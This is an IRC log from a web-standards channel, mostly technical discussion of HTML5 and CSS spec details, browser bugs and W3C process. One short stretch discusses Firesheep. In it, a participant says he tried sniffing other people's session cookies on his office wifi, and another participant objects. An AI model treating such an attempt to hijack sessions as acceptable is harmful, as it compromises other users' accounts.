[16:44:05.0000] <Hixie>
so i guess that should be fixed there

[16:45:00.0000] <TabAtkins_>
Yeah.  I have @counter-style in my unpublished Lists rev, too.

[16:45:01.0000] <TabAtkins_>
I can't find anything that talks about it.  I'll ask on the list.

[16:49:00.0000] <AryehGregor>
volkmar, both bugs should be fixed.  (I only commented out input.autocomplete entirely for now, since my test framework can't yet handle what the spec demands.)

[16:53:00.0000] <volkmar>
AryehGregor: great :)

[16:55:00.0000] <volkmar>
AryehGregor: and your button.formAction / form.action test seems wrong

[16:56:00.0000] <volkmar>
you seems to duplicate the wrong behavior from Gecko 1.9.*

[16:58:00.0000] <AryehGregor>
volkmar, how so?

[16:58:01.0000] <AryehGregor>
It's supposed to reflect as a URL per spec AFAICT.

[16:59:00.0000] <volkmar>
AryehGregor: i think it should reflect the content attribute

[16:59:01.0000] <AryehGregor>
volkmar, it does, as a URL.

[16:59:02.0000] <volkmar>
which is a DOMString


2010-10-26
[17:00:00.0000] <volkmar>
oh, damn

[17:00:01.0000] <AryehGregor>
http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes

[17:00:02.0000] <volkmar>
this reflect section is a mess :/

[17:01:00.0000] <AryehGregor>
:)

[17:01:01.0000] <AryehGregor>
It's a lot saner than what browsers actually do.

[17:11:00.0000] <TabAtkins_>
Hixie: Where did you get the "4 of 18 specs we reference are PR or REC" number?

[17:11:01.0000] <TabAtkins_>
I assume you were referring to >

[17:11:02.0000] <TabAtkins_>
> ~fantasai

[17:11:03.0000] <TabAtkins_>
>

[17:11:04.0000] <TabAtkins_>
Argh, not that.

[17:11:05.0000] <TabAtkins_>
http://www.w3.org/TR/CSS2/refs.html

[17:12:00.0000] <Hixie>
i was reading the internal one, but yes

[17:12:01.0000] <Hixie>
the only w3c specs are HTML4, PNG, UAAG and XML

[17:13:00.0000] <Hixie>
and there are 18 specs

[17:13:01.0000] <Hixie>
in the normative section

[17:14:00.0000] <Hixie>
personally these days i just always reference the editor's drafts

[17:14:01.0000] <Hixie>
solves the versioning issue altogether

[17:14:02.0000] <TabAtkins_>
Yeah, definitely.

[17:21:00.0000] <Hixie>
5 points to anyone who can work out why the HTML spec says "except when stated otherwise in the algorithms given in the sections below" at http://www.whatwg.org/specs/web-apps/current-work/complete.html#dropEffect-initialization

[17:21:01.0000] <TabAtkins_>
Because an implementor made it "none" at all times after reading the version of that line without the qualification?

[17:22:00.0000] <Hixie>
as far as i can tell, there are no cases where it is stated otherwise

[17:22:01.0000] <Hixie>
i'm very confused

[17:22:02.0000] <Hixie>
for those events it should always be "none", no?

[17:23:00.0000] <TabAtkins_>
Oh, you're wondering why *you* wrote it that way.

[17:23:01.0000] <Hixie>
yeah

[17:23:02.0000] <Hixie>
sorry, it wasn't a quiz :-)

[17:23:03.0000] <Hixie>
i'm actually trying to work it out

[17:23:04.0000] <TabAtkins_>
Don't give out points, then

[17:23:05.0000] <Hixie>
heh

[17:23:06.0000] <Hixie>
the table has "none" for all three of those events, without qualification

[17:33:00.0000] <Hixie>
TabAtkins_: if the csswg decides to test fewer things (as seems likely), submit the tests that are removed to the htmlwg's test suite :-)

[17:33:01.0000] <TabAtkins_>
kk!

[17:34:00.0000] <Hixie>
we really should just have one "web" test suite

[17:34:01.0000] <Hixie>
but that's another story

[17:34:02.0000] <TabAtkins_>
Agreed.  The web is constructed out of solid interactions, so trying to treat those interactions as out-of-scope is both fruitless and dangerous.

[17:35:00.0000] <Hixie>
yeah

[17:36:00.0000] <Hixie>
ok. for the record, the html spec right now has most of its drag and drop engine on the garage floor, but i'll have it back together either later today or tomorrow.

[17:36:01.0000] <Hixie>
for now though... afk.

[18:00:00.0000] <TabAtkins_>
Heh, howcome just got called an "incompetent developer".

[18:00:01.0000] <TabAtkins_>
(Though he's not a developer at all, far as I know.)

[18:08:00.0000] <gsnedders>
TabAtkins_: Where?

[18:08:01.0000] <TabAtkins_>
www-style, writing-mode thread.

[18:16:00.0000] <AryehGregor>
TabAtkins_, it's kind of ridiculously disingenuous to say that because ISO standards or RFCs are not technically called "Recommendations", they're comparable to HTML5.

[18:16:01.0000] <AryehGregor>
Every normative reference in CSS2.1 is basically fixed and unchanging, HTML5 is not.

[18:16:02.0000] <TabAtkins_>
I agree.  HTML5 is more stable and mature than most of either.

[18:16:03.0000] <AryehGregor>
HTML5 is more stable than an RFC?

[18:17:00.0000] <TabAtkins_>
"stable and mature".

[18:17:01.0000] <TabAtkins_>
Many RFCs aren't both.

[18:17:02.0000] <AryehGregor>
Stable and mature implies, in particular, stable.

[18:17:03.0000] <AryehGregor>
HTML5 is not stable by anyone's standards.

[18:17:04.0000] <TabAtkins_>
The part we were testing certainly is.

[18:17:05.0000] <TabAtkins_>
And if it's not, it's because the browser landscape changed, and tests should be updated accordingly.

[18:18:00.0000] <AryehGregor>
You're acting like you're trying to challenge the entire W3C REC process.

[18:18:01.0000] <AryehGregor>
In rejecting the necessity of fixed snapshots.

[18:18:02.0000] <TabAtkins_>
No, I'm trying to fight the ridiculous assertion that it's okay to test for behavior that's specified in HTML4 incorrectly, but in HTML5 correctly, because HTML5 isn't a REC.

[18:19:00.0000] <AryehGregor>
I'm all for that, but the process revolves around fixed snapshots, and HTML5 is not a fixed snapshot.  You could suggest we reference the WD of a particular date . . .

[18:19:01.0000] <TabAtkins_>
That's still not a Rec, which is the criterion being used to suggest that we can't reference HTML5.

[18:19:02.0000] <AryehGregor>
Yes, I know.

[18:20:00.0000] <AryehGregor>
The problem is in saying that tests have to correspond to CSS 2.1, not in the fact that CSS 2.1 doesn't normatively reference HTML5.

[18:20:01.0000] <AryehGregor>
There should be a "CSS test suite" that includes tests for all CSS-related stuff.  Or just one big "web test suite".

[18:20:02.0000] <AryehGregor>
You should just agree that the tests don't have to go with CSS2.1's tests.  What difference does it make anyway where they're put?

[18:21:00.0000] <TabAtkins_>
That's not the problem either, unless you're suggesting that doing so would let us get around the "must reference RECs" because it's not tied to something trying to achieve REC.

[18:21:01.0000] <TabAtkins_>
AryehGregor: None at all, but it does matter that it's tested *somewhere*.  Just saying that it's out of scope and dropping the test doesn't help.

[18:21:02.0000] <AryehGregor>
Well, obviously.  So test it somewhere else.

[18:22:00.0000] <gsnedders>
IMO it's not that interesting from a CSS POV, as CSS should just reflect whatever is in the DOM, and that's just as well covered by less contraversial tests.

[18:23:00.0000] <TabAtkins_>
gsnedders: It's important to know that browsers correctly reflect the value of minimized boolean attributes to the CSS engine.

[18:24:00.0000] <TabAtkins_>
AryehGregor: I've got no problem with that.  I just don't want it dropped, which, without any current work on another test suite, is what I fear will end up happening.

[18:24:01.0000] <gsnedders>
TabAtkins_: If we want to test that we need way more tests, for where it's empty, and where it's not equal to the attribute name

[18:25:00.0000] <TabAtkins_>
Yes...?

[18:32:00.0000] <TabAtkins_>
...

[18:32:01.0000] <TabAtkins_>
"The best-known commercial brand is Mr Brain's Faggots..."

[18:33:00.0000] <TabAtkins_>
From the wikipedia entry for "Faggot (food)" - http://en.wikipedia.org/wiki/Faggot_(food)

[19:49:00.0000] <jcranmer>
there is an HTML5 parser for Java, is there not?

[19:52:00.0000] <jcranmer>
/me goes to find the Java parser that mozilla uses

[20:48:00.0000] <jcranmer>
I underestimate Debian

[20:49:00.0000] <jcranmer>
apt-get install libhtmlparser-java

[20:51:00.0000] <jcranmer>
hmm, that's not the HTML 5 parser

[22:49:00.0000] <Hixie>
AryehGregor: fwiw, i _am_ trying to challenge the entire W3C REC process

[22:50:00.0000] <Hixie>
AryehGregor: i think it's an archaic and obsolete practice that is stunting the development of the web

[23:02:00.0000] <JonathanNeal>
does anyone in this code write js in hungarian notation?

[23:02:01.0000] <JonathanNeal>
and by code i mean room

[23:36:00.0000] <jacobolus>
Hixie: you know about using the J key in The Big Picture, right?

[23:51:00.0000] <Hixie>
jacobolus: the j key?

[23:52:00.0000] <jacobolus>
Hixie: yes. it scrolls down whole pictures at a time

[23:52:01.0000] <jacobolus>
k goes up

[23:52:02.0000] <Hixie>
i did not

[23:52:03.0000] <Hixie>
still doesn't really help, the captions are all under the fold

[23:52:04.0000] <jacobolus>
(you'd mentioned a few hours ago that scrolling was annoying)

[23:52:05.0000] <Hixie>
at least on my laptop

[23:53:00.0000] <Hixie>
also, that's pretty undiscoverable :-P

[23:53:01.0000] <jacobolus>
it has it written at the top of every post :)

[23:53:02.0000] <Hixie>
...and doesn't interact well with normal scrolling

[23:53:03.0000] <jacobolus>
(Hint: Use 'j' and 'k' keys to move up and down)

[23:53:04.0000] <Hixie>
i don't tend to read that boilerplate :-)

[23:53:05.0000] <jacobolus>
it is true that the interaction with normal scrolling sucks

[23:53:06.0000] <Hixie>
but thanks

[23:53:07.0000] <jacobolus>
they could fix that

[23:54:00.0000] <Hixie>
that certainly does make it mildly more readable

[23:54:01.0000] <jacobolus>
if you zoom your whole browser out you could maybe get the captions

[23:54:02.0000] <Hixie>
fullscreening first seems to help

[23:54:03.0000] <jacobolus>
though the pictures wouldn't be as "big"

[23:54:04.0000] <Hixie>
though then it's kind of off-centered and still not really what i'm looking for

[23:54:05.0000] <Hixie>
anynay

[23:54:06.0000] <Hixie>
way

[23:54:07.0000] <Hixie>
thanks

[23:54:08.0000] <jacobolus>
yeah, not perfect

[23:54:09.0000] <jacobolus>
I'm not sure there's really a perfect answer though

[23:55:00.0000] <jacobolus>
I haven't ever seen a browser picture show that I liked

[23:55:01.0000] <jacobolus>
flickr's somewhat recent thing is obnoxious I think

[23:59:00.0000] <jacobolus>
I wonder if someone fixed their javascript to move up/down based on the current scroll position if they'd apply the change

[23:59:01.0000] <jacobolus>
that is, the big picture's

[23:59:02.0000] <jacobolus>
shouldn't be too hard to do, I wouldn't think

[02:00:00.0000] <zcorpan>
how do you explain this http://www.w3.org/Bugs/Public/show_bug.cgi?id=11145 ? NoScript?

[02:01:00.0000] <zcorpan>
Hixie: ^ spam protection didn't bite for the above bug

[02:07:00.0000] <othermaciej>
maybe the form should be disabled or missing on systems w/o script?

[02:08:00.0000] <othermaciej>
though I'd be surprised if people running NoScript were both common and likely to submit junk

[02:09:00.0000] <zcorpan>
people in general are apparently likely to submit junk

[02:09:01.0000] <zcorpan>
and some people have scripting disabled...

[02:09:02.0000] <hsivonen>
why doesn't whatever script receives the submission have server-side filtering?

[02:09:03.0000] <annevk>
it does

[02:10:00.0000] <annevk>
it's us

[02:25:00.0000] <annevk>
public-pfwg-comments list setup sucks enormously

[02:25:01.0000] <annevk>
"black hole setup"

[02:28:00.0000] <zcorpan>
it sucks like a black hole?

[02:28:01.0000] <annevk>
not quite that bad :)

[02:29:00.0000] <annevk>
but basically there's no discussion there whatsoever

[02:30:00.0000] <annevk>
your email is sort of taken apart in a Member-only teleconference and then you get answers back that are often woefully inadequate after months

[02:30:01.0000] <annevk>
that does not at all foster mutual understanding

[02:33:00.0000] <zcorpan>
to get mutual understanding with pfwg you need to explain your comment in a telecon

[02:33:01.0000] <zcorpan>
i've had to do that twice for my DTD comment

[02:34:00.0000] <annevk>
I have found that being on a telecon is about as productive as watching an episode of Twin Peaks

[02:35:00.0000] <zcorpan>
probably

[02:35:01.0000] <annevk>
except the latter is way more fun

[03:13:00.0000] <annevk>
oh hey look at that

[03:13:01.0000] <annevk>
we published

[03:13:02.0000] <annevk>
http://www.w3.org/News/2010.html#entry-8937

[03:13:03.0000] <annevk>
actually seven days ago, but really yesterday

[03:13:04.0000] <annevk>
or something like that

[05:09:00.0000] <Philip`>
jcranmer: http://about.validator.nu/htmlparser/

[05:15:00.0000] <zcorpan>
annevk: yeah i noticed that too

[05:18:00.0000] <jcranmer>
/me sucks himself into parsing webpages

[05:18:01.0000] <jcranmer>
it would be nice if ads could be required to all be in, say, <div class="ad"> or something

[05:20:00.0000] <annevk>
contact your congressman!

[05:21:00.0000] <zcorpan>
hmm http://www.w3.org/TR/2010/WD-xml-proc-profiles-20101021/

[05:32:00.0000] <annevk>
getting 503 for /TR/WebIDL/

[05:32:01.0000] <annevk>
working now

[05:32:02.0000] <annevk>
very slow though

[05:37:00.0000] <slartsa>
I'm working slowly as well!

[05:58:00.0000] <webr3>
annevk, anyone - using an XHR request with followRedirects = true; and where /A 3xx's to /B - how do you get the URI "/B" back out from XHR?

[05:59:00.0000] <webr3>
it's not set or used in the responseXML, it's not in any of the properties of xhr, and not in any of the returned headers and a getResponseHeader("Location") =s null

[05:59:01.0000] <annevk>
hmm, I should remove followRedirects

[06:00:00.0000] <annevk>
but euh, I'd guess xhr.responseXML.URL or some such has it

[06:00:01.0000] <webr3>
well followRedirects is very useful.. but would be useful to have a .url or .location property on there that shows the URL of the final get request

[06:00:02.0000] <annevk>
useful and incomplete, yes

[06:00:03.0000] <annevk>
and the complete sultion is a whole bit more complicated

[06:00:04.0000] <webr3>
annvk, no it doesn't.. xhr.responseXML.URL and documentURI and all other properties are set to "/A" not "/B"

[06:00:05.0000] <annevk>
solution, even

[06:01:00.0000] <annevk>
that seems like a bug

[06:01:01.0000] <webr3>
could be, there's def no way to get "/B" back out though, tried everything

[06:02:00.0000] <webr3>
annevk, see: http://lists.w3.org/Archives/Public/www-tag/2010Oct/0126.html for full details and corresponding TAG issue where it came up

[06:02:01.0000] <annevk>
I'm on that list

[06:03:00.0000] <annevk>
as I said, seems like a bug, is it the same in every browser?

[06:05:00.0000] <webr3>
will just check (re every browser)

[06:08:00.0000] <annevk>
it's pretty obvious that relative URLs in the resulting document need to be resolved against the URL of the resulting document

[06:08:01.0000] <annevk>
I guess we could test that in the XMLHttpRequest test suite...

[06:24:00.0000] <webr3>
annevk, tested and send response on list, cc'd you and public-webapps, turns out Firefox only exposes "/B" and Opera+Chrome only expose "/A" - and all 3 only expose as part of responseXML (so can't be used for non-dom-based responses)

[06:28:00.0000] <annevk>
sure, at some point we might need something special

[06:33:00.0000] <annevk>
and please don't cc me if you already cc a list I'm subscribed to

[06:33:01.0000] <annevk>
now I get 3 emails from Julian...

[06:34:00.0000] <annevk>
and three from you, come to think of it

[06:34:01.0000] <annevk>
sigh

[06:40:00.0000] <webr3>
lol apologies annevk - I get that often myself

[06:51:00.0000] <jgraham>
hybi died again :(

[07:44:00.0000] <volkmar>
when the content attribute is the empty string (or not set), the IDL attribute reflecting an URL should return the current URL ?

[08:02:00.0000] <annevk>
volkmar, depends I think

[08:02:01.0000] <annevk>
volkmar, I think for <a> there's no link in that case

[08:03:00.0000] <annevk>
volkmar, however for <form> there is

[08:03:01.0000] <volkmar>
annevk: but the reflection algorithm should be the same in both case according to the specs

[08:05:00.0000] <annevk>
hmm

[08:05:01.0000] <annevk>
does that reflect implementations?

[08:05:02.0000] <annevk>
(no pun intended)

[08:08:00.0000] <volkmar>
annevk: Gecko is returning the empty string if the content attribute isn't set

[08:08:01.0000] <volkmar>
i can check with other UA's but I don't know what should be done per specs

[08:12:00.0000] <volkmar>
annevk: webkit and gecko returns the empty string and opera returns the domain name (at least "localhost" locally... that's weird)

[08:15:00.0000] <annevk>
that does sound weird

[08:16:00.0000] <annevk>
my reasoning was based on <a>test</a> *not* creating a link and <form><input type=submit></form> creating a form

[08:17:00.0000] <annevk>
/me looks in HTML5

[08:18:00.0000] <annevk>
volkmar, HTML5 says "If the content attribute is absent, the IDL attribute must return the default value, if the content attribute has one, or else the empty string."

[08:20:00.0000] <volkmar>
annevk: damn, i missed that... it's after the setting part

[08:21:00.0000] <volkmar>
annevk: thanks :)

[08:21:01.0000] <annevk>
/me finds that <base>.href is special per HTML5

[08:21:02.0000] <karlcow>
interesting, I think because of FireSheep, we will see a new set of tools (bad and good) on awareness - http://jonty.co.uk/idiocy

[08:22:00.0000] <Rik`>
and this one is far better for awareness

[08:22:01.0000] <annevk>
volkmar, "http://a b/" gives you an invalid URL

[08:22:02.0000] <Rik`>
less prone to "easy hacking"

[08:23:00.0000] <karlcow>
Rik`: but more difficult to install for people who are not tech-savy.

[08:23:01.0000] <volkmar>
annevk: how did you know i was looking for that? :)

[08:24:00.0000] <karlcow>
At least, a stone to pave the path

[08:24:01.0000] <annevk>
volkmar, your thinking is exposed to the public it seems

[08:26:00.0000] <Rik`>
karlcow: It's a quick hack, but something could be easily built on top of Firesheep to do just the same

[08:27:00.0000] <karlcow>
Rik`: yep not the same impact on the [social contract],

[08:29:00.0000] <karlcow>
/me is checking how English wikipedia defines the social contract and has the feeling that English and French notions are slightly different

[08:33:00.0000] <karlcow>
Locke, Hobbes and Rousseau had very different ways of looking at it. :)

[08:42:00.0000] <Rik`>
but Firesheep is having a lot of press today

[08:43:00.0000] <turbalan>
read about it today too

[08:44:00.0000] <Rik`>
I'm just worried the reception will be "internet is dangerous" instead of "be careful"

[08:44:01.0000] <justinhjohnson>
it will be mixed

[08:45:00.0000] <justinhjohnson>
my aunt is convinced there is a van parked across the street waiting to steal her credit card info when she buys online

[08:45:01.0000] <turbalan>
i have had "internet is dangerous (for your children)" on the news for 2months now

[08:45:02.0000] <justinhjohnson>
i should be a van and park it there

[08:45:03.0000] <justinhjohnson>
buy*

[08:45:04.0000] <turbalan>
with her stolen credit card

[08:46:00.0000] <zcorpan>
justinhjohnson: you need to steal her credit card info first to buy the van

[08:46:01.0000] <justinhjohnson>
-_^

[08:46:02.0000] <turbalan>
did anyone catch any cookies with Firesheep?

[08:47:00.0000] <turbalan>
and get into acc's 

[08:48:00.0000] <jgraham>
Seems like it would be pretty poor to admit that you did here, unless they were your own cookies

[08:49:00.0000] <turbalan>
yea i tried the wifi in the office but didnt catvh anything

[08:49:01.0000] <turbalan>
so i actually don't know if it works and was curious :)

[08:50:00.0000] <Rik`>
turbalan: the wifi in your office is not open

[08:50:01.0000] <Rik`>
so you can't sniff the traffic of other users

[08:51:00.0000] <turbalan>
aha, i thought it might be that

[09:20:00.0000] <annevk>
"Firefox implements IndexedDB on top of SQLite." -- ironic, in a way

[09:21:00.0000] <jgraham>
Moreso if someone implements SQL on top of indexeddb

[09:22:00.0000] <annevk>
but it's better for the web

[09:22:01.0000] <annevk>
don't stop believing yadayadayada

[09:23:00.0000] <jgraham>
Well it is a tradeoff of speed vs defined semantics I guess

[10:11:00.0000] <gsnedders>
http://svn.php.net/viewvc?view=revision&revision=304705

[10:16:00.0000] <TabAtkins_>
annevk: Our implementation is currently built on SQLite as well, actually.  But we'll be swapping that out in the future - it was just done because, hey, storage model we don't have to think about too much.

[10:17:00.0000] <Philip`>
"Note that, in HTML5, U+000D is a valid literal character, but the entity &#x0D is not valid and is therefore not decoded." - it's not?

[10:21:00.0000] <jgraham>
Well it's not valid

[10:21:01.0000] <jgraham>
It is decoded

[10:23:00.0000] <jgraham>
(also it is a valid literal character but doesn't actually appear in the DOM)

[10:23:01.0000] <jgraham>
(since it is replaced by LF)

[10:30:00.0000] <gsnedders>
/me responds, waits to gets flamed like, he normally does every time he touches PHP development…

[10:42:00.0000] <annevk>
that they're looking at HTML5 is great though

[10:42:01.0000] <annevk>
or to put it more mildly, a start

[10:43:00.0000] <gsnedders>
:)

[10:46:00.0000] <MikeSmith>
annevk: you around?

[10:46:01.0000] <MikeSmith>
can you remind me how I can get wifi access at schipol without paying the asshattedly expensive KPN fees?

[11:12:00.0000] <annevk>
in the lounge?

[11:13:00.0000] <annevk>
password: klm20101026

[11:21:00.0000] <gsnedders>
Yay, looks like the behaviour will be fixed (wrt PHP/HTML5)

[12:42:00.0000] <TabAtkins_>
Hixie: @-rules that establish name-value mappings (like @keyframes) are document-global, not stylesheet-import-graph-local.  So you'll have to add some stuff to @scoped.

[12:42:01.0000] <Hixie>
that's dumb

[12:42:02.0000] <Hixie>
it means that style sheets can interfere with each other even without knowing each other

[12:42:03.0000] <TabAtkins_>
Well, if it's just sheet-local, then you can't, say, use an animation in @style.

[12:43:00.0000] <TabAtkins_>
But yes, it does mean that.

[12:43:01.0000] <Hixie>
what's the use case for that?

[12:43:02.0000] <TabAtkins_>
The use-case for setting an animation in @style?

[12:43:03.0000] <Hixie>
for setting an animation in style="" when you know you have to also declare it elsewhere

[12:43:04.0000] <Hixie>
why not just do it all in the same place

[12:44:00.0000] <Hixie>
use a class or some such

[12:44:01.0000] <Hixie>
style=""'s use case is rapid prototyping and exceptions, i.e. for doing things when you're not editing a style sheet

[12:44:02.0000] <TabAtkins_>
Heh, but the class name could clash with other things as well.  ^_^

[12:44:03.0000] <Hixie>
if you have to edit a style sheet anyway, its use case is gone

[12:44:04.0000] <Hixie>
the class names are owned by the document

[12:44:05.0000] <Hixie>
not the sheets

[12:44:06.0000] <Hixie>
so that's fine

[12:44:07.0000] <TabAtkins_>
Another use, though, is declaring a lot of animations in one sheet, then using it elsewhere.

[12:45:00.0000] <Hixie>
@import the sheet

[12:45:01.0000] <Hixie>
@import should definitely get the declarations

[12:45:02.0000] <TabAtkins_>
The class name that would be required to add the animation could clash with the class name needed for another feature in another sheet, same as, say, keyframe names in one sheet could clash with keyframe names in another sheet.

[12:46:00.0000] <TabAtkins_>
Same failure point.

[12:46:01.0000] <Hixie>
no, not at all

[12:46:02.0000] <Hixie>
the class names are an interface presented by the document to the sheets

[12:46:03.0000] <Hixie>
a contract if you will

[12:46:04.0000] <TabAtkins_>
I fail to see how you get any additional protection from clobbering.

[12:46:05.0000] <Hixie>
while the key frames are for use within a sheet

[12:46:06.0000] <TabAtkins_>
Your definitions are well and good, but in terms of clobbering potential they're still identical.

[12:46:07.0000] <Hixie>
two sheets can both have a contract with a document and thus use its styles, while both using animations and not knowing about each other

[12:47:00.0000] <Hixie>
anyway, y'all do what you want, i just think it's silly :-) mail me or file a bug if the html spec needs to change

[12:48:00.0000] <TabAtkins_>
Will do.

[12:48:01.0000] <Hixie>
(as i see it it's basically duplicating the mistake we've made many times in the web platform, with e.g. variables in JS)

[12:48:02.0000] <Hixie>
(global scope is almost always a design failure, imho)

[12:49:00.0000] <TabAtkins_>
I don't disagree in general.

[12:49:01.0000] <Hixie>
(a symptom of which is that the scoped style sheet feature has to define how it works -- it really should Just Work in such situations, imho)

[12:53:00.0000] <TabAtkins_>
Done: 

[12:53:01.0000] <TabAtkins_>
Done: http://www.w3.org/Bugs/Public/show_bug.cgi?id=11149

[13:02:00.0000] <Hixie>
TabAtkins_: ta

[15:46:00.0000] <Hixie>
hm

[15:47:00.0000] <Hixie>
sequence<File> has a type name of FileSequence per WebIDL

[15:47:01.0000] <Hixie>
but FileAPI has a typedef of FileList to sequence<File>

[15:47:02.0000] <Hixie>
that's just confusing

[15:48:00.0000] <heycam>
"type name" is irrelevant for javascript

[15:48:01.0000] <Hixie>
except for the [[Class]] of Array<T>, yes

[15:49:00.0000] <heycam>
it's currently only used to give a java class name for such sequences

[15:49:01.0000] <heycam>
Hixie, oh!

[15:49:02.0000] <heycam>
:)

[15:49:03.0000] <Hixie>
i agree that the sequence<File> issue is not a real issue for JS

[15:49:04.0000] <Hixie>
it was just confusing while i was following links around :-)

[15:49:05.0000] <heycam>
yeah i don't think anyone is using array types yet

[15:49:06.0000] <heycam>
or want to...

[15:50:00.0000] <Hixie>
we really need to find a solution to making things like HTMLCollection have the Array stuff in JS

[15:50:01.0000] <heycam>
what is the problem?

[15:50:02.0000] <Hixie>
you can't do document.links.forEach()

[15:50:03.0000] <heycam>
ah

[15:50:04.0000] <Hixie>
and people bug me about this on a nearly monthly basis

[15:50:05.0000] <heycam>
hmm

[15:51:00.0000] <heycam>
is there a bug or an red box issue for that?

[15:51:01.0000] <Hixie>
i don't think so

[15:51:02.0000] <heycam>
please do then

[15:51:03.0000] <heycam>
(bug)

[15:51:04.0000] <Hixie>
it mostly comes up in whatwg mail

[15:51:05.0000] <Hixie>
k

[15:51:06.0000] <Hixie>
not right now but will do when i next remember :-)

[15:52:00.0000] <heycam>
does it mostly come up from garrett? :)

[15:52:01.0000] <Hixie>
he's one of the many people to have brought it up

[15:52:02.0000] <Hixie>
but he's certainly not the only one

[15:53:00.0000] <TabAtkins_>
*Definitely* not the only one.

[15:53:01.0000] <Hixie>
ok, afk for now. bbiab.


2010-10-27
[00:31:00.0000] <MikeSmith>
hg clone http://hg.hoppipolla.co.uk/anolis/

[00:31:01.0000] <MikeSmith>
"abort: error: nodename nor servname provided, or not known"

[00:31:02.0000] <MikeSmith>
jgraham: ↑

[01:01:00.0000] <jgraham>
MikeSmith: Yeah, known problem. Incompetence on my part

[01:03:00.0000] <jgraham>
/me expects that ading the Array.prototype methods to HTMLCollection.prototype will break stuff

[01:04:00.0000] <MikeSmith>
jgraham: OK

[01:04:01.0000] <jgraham>
MikeSmith: (but ms2ger has a version on bitbucket)

[01:05:00.0000] <jgraham>
(which you could clone instead)

[01:05:01.0000] <MikeSmith>
jgraham: good to know

[01:05:02.0000] <MikeSmith>
I have my local workspace copy too

[01:05:03.0000] <MikeSmith>
so I'm fine for now

[01:05:04.0000] <jgraham>
All hail the power of DVCS

[01:05:05.0000] <paul_irish>
Very similar to resig's nodelist proposal, no?  as it says htmlcollection inherits from nodelist which gets the extras.

[01:07:00.0000] <jgraham>
paul_irish: Sounds similar. My suspicion it will break stuff is informed in part by the attempt to do the same thing to the arguments object in ES5, since it is also *clearly* Array-like

[01:07:01.0000] <jgraham>
It was backed out when it broke sites

[01:07:02.0000] <paul_irish>
gotcha.

[01:32:00.0000] <Ms2ger`>
Btw, MikeSmith, my repository also contains your patch ;)

[01:37:00.0000] <JonathanNeal>
Anyone still check this out? file:///W:/iecss.com/whatwg.css

[01:37:01.0000] <JonathanNeal>
oooops

[01:37:02.0000] <JonathanNeal>
http://www.iecss.com/whatwg.css

[01:45:00.0000] <zcorpan>
hmm, what does this mean <style scoped>@font-face { ...

[01:45:01.0000] <zcorpan>
i assume that the font becomes available for the whole document

[01:53:00.0000] <annevk>
hmm @-rules are scoping

[01:53:01.0000] <annevk>
e.g. @namespace is

[01:53:02.0000] <annevk>
page-global would be quite bad I think

[01:53:03.0000] <zcorpan>
@font-face affects the whole document

[01:54:00.0000] <zcorpan>
in that the font becomes available for the whole document

[01:54:01.0000] <annevk>
hmm, shows what I know

[01:54:02.0000] <annevk>
I guess things with identifiers don't "fail" if the style sheet fails

[01:55:00.0000] <annevk>
whereas namespace identifiers would fail parsing

[01:56:00.0000] <zcorpan>
would @page work in <style scoped>?

[02:10:00.0000] <zcorpan>
hmm, seems tr:before{content:'x'} and tbody:before{content:'x'} don't work in webkit

[02:25:00.0000] <zcorpan>
filed https://bugs.webkit.org/show_bug.cgi?id=48404

[02:45:00.0000] <annevk>
lolhttp://landoflisp.com/

[02:45:01.0000] <annevk>
http://landoflisp.com/

[02:45:02.0000] <annevk>
almost wanna start learning Lisp now

[02:48:00.0000] <mhausenblas>
/me finds himself not often in agreement with annevk, but +1 to Land of Lisp ;)

[02:50:00.0000] <annevk>
you should speak up when you don't then ;)

[02:54:00.0000] <jgraham>
/me wonders if there is any actual evidence that Lisp code is more bug free than other code that does the same stuff

[02:57:00.0000] <annevk>
jgraham, did you read the comic? they have space ships

[02:57:01.0000] <annevk>
jgraham, and some wicked guy with a nose which is also a hand in charge

[04:51:00.0000] <annevk>
euhm, oops http://www.w3.org/TR/html5/comms.html#dom-messageevent-source ?

[04:51:01.0000] <annevk>
that page should not be there

[05:20:00.0000] <hsivonen>
jgraham: have you upgraded to Maverick? Did it solve the event delivery / scheduling jumpiness when running an intensive process like building a browser?

[05:37:00.0000] <jgraham>
hsivonen: No, I haven't upgraded

[05:54:00.0000] <hsivonen>
jgraham: ok.

[05:54:01.0000] <hsivonen>
fwiw, right now, when building Firefox, Spotify sounds like an old-school needle-based broken record player

[05:57:00.0000] <annevk>
heh, Minefield about:home is XHTML with a bunch of entities

[05:57:01.0000] <annevk>
not the greatest view source example

[05:58:00.0000] <zcorpan>
most moz about: pages are like that

[05:58:01.0000] <hsivonen>
annevk: the Firefox approach to XML localization is a problem when it comes to killing DTDs :-(

[06:16:00.0000] <hsivonen>
jgraham: do you happen to have an SSD in your Ubuntu machine?

[06:18:00.0000] <jgraham>
hsivonen: No, sadly

[06:18:01.0000] <hsivonen>
jgraham: ok.

[06:18:02.0000] <jgraham>
(possibly my problems are not as bad as yours? But I do notice bad responsiveness under load)

[06:19:00.0000] <hsivonen>
I wonder why we're seeing a problem but there's no general outcry waking up Canonical

[06:19:01.0000] <hsivonen>
I guess I'll send some logs to Canonical's support in case they are able to make sense of them

[06:19:02.0000] <hsivonen>
I don't know how to infer anything actionable from the logs

[07:10:00.0000] <karlcow>
http://www.impressivewebs.com/cross-browser-css-properties/

[07:10:01.0000] <karlcow>
"I decided to put together a comprehensive list of CSS properties that are supported in all browsers."

[07:11:00.0000] <annevk>
hmm

[07:11:01.0000] <annevk>
font-family is buggy in Opera

[07:11:02.0000] <annevk>
and list-style-position has a sheer of problems when combined with floats

[07:11:03.0000] <annevk>
iirc

[07:29:00.0000] <jgraham>
"No Bugs" as a claim says "I'm not a QA"

[07:29:01.0000] <jgraham>
At least for somthing as complex as this

[07:31:00.0000] <hsivonen>
jgraham: also "I'm not a browser developer"

[07:31:01.0000] <jgraham>
hsivonen: Yeah I think most browser developers aren't naive enough to claim that their code is bug free :)

[07:32:00.0000] <hsivonen>
jgraham: recently, when I've been fixing regressions I introduced when I made Gecko's script execution (mostly) HTML5-compliant, I've found even more legacy brokenness when I've looked at code relevent to my regressions

[07:33:00.0000] <hsivonen>
I *think* if you use XSLTProcessor to parse a fragment in the content of a document that's itself being parsed, the readyState of the document changes prematurely

[07:33:01.0000] <hsivonen>
that sort of thing

[07:33:02.0000] <hsivonen>
(by code inspection, I didn't test this particular thing)

[07:33:03.0000] <zcorpan>
in the Land of Lisp there are no bugs

[07:34:00.0000] <hsivonen>
s/content/context/

[07:35:00.0000] <jgraham>
Yeah, obviously web browsers should have been written in Lisp so The Power Of Macros (TM) could save us all from wrong logic

[07:37:00.0000] <Lachy>
